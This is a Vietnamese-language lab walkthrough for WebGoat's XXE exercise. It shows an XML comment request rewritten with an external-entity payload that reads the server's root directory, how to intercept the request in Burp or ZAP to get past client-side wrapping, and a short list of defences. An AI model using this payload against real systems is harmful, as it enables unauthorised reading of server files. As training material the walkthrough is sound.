1.05 | XXE
🛠 XXE Injection - Giải pháp hoàn chỉnh
🎯 Mục tiêu bài tập
- Liệt kê thư mục gốc của hệ thống bằng XXE Injection.
- Phát hiện và bypass cơ chế kiểm tra đầu vào của WebGoat.
- Chặn và chỉnh sửa request HTTP để thực hiện tấn công.
🔥 1. Phân tích yêu cầu
📌 Request ban đầu khi gửi comment bình thường
POST /WebGoat/xxe/simple
Content-Type: application/xml
<?xml version="1.0"?>
<comment>
<text>This is my first comment, nice picture</text>
</comment>
👉 Nhận xét:
- Request được gửi dưới dạng XML.
- Comment được hiển thị trên trang web sau khi gửi.
- Chúng ta cần chỉnh sửa request này để thực hiện XXE Injection.
🚀 2. Thực hiện XXE Injection
📌 Cách gửi payload XXE
Chặn request bằng Burp Suite/ZAP Proxy, sau đó thay thế body như sau:
POST /WebGoat/xxe/simple
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
<comment>
<text>&root;</text>
</comment>
✅ Giải thích:
<!DOCTYPE user [...]>: Khai báo DOCTYPE để sử dụng entities.<!ENTITY root SYSTEM "file:///">: Đọc thư mục gốc của hệ thống.<text>&root;</text>: Chèn nội dung thư mục vào phản hồi.
❌ 3. Lỗi gặp phải và cách bypass
Nếu dán trực tiếp payload vào ô nhập comment, ta nhận được lỗi:
{
"lessonCompleted" : false,
"feedback" : "Sorry the solution is not correct, please try again.",
"output" : "...javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,44]\\nMessage: The processing instruction target matching \\\"[xX][mM][lL]\\\" is not allowed.]"
}
👉 Lý do:
- JavaScript trên trang web tự động bọc nội dung input vào cặp
<text>...</text>. - Điều này khiến XML của chúng ta bị lỗi khi gửi đi.
🛠 4. Cách khắc phục
✅ Dùng Burp Suite hoặc ZAP để chặn và chỉnh sửa request:
- Bật Intercept Mode trong Burp/ZAP.
- Gửi một comment bình thường.
- Chỉnh sửa request trong Intercept và thay thế toàn bộ body bằng payload XXE.
- Gửi lại request và kiểm tra phản hồi.
🎯 5. Kiểm tra phản hồi
- Nếu request thành công, server sẽ trả về danh sách thư mục gốc (
bin, etc, home...). - Nếu không, server có thể đã vô hiệu hóa XXE, cần thử cách khác.
🛡 6. Cách phòng chống XXE
- Vô hiệu hóa DOCTYPE trong XML parser.
- Không cho phép đọc external entities (
SYSTEM "file:///"). - Sử dụng JSON thay vì XML nếu có thể.
- Dùng WAF để phát hiện payload XXE.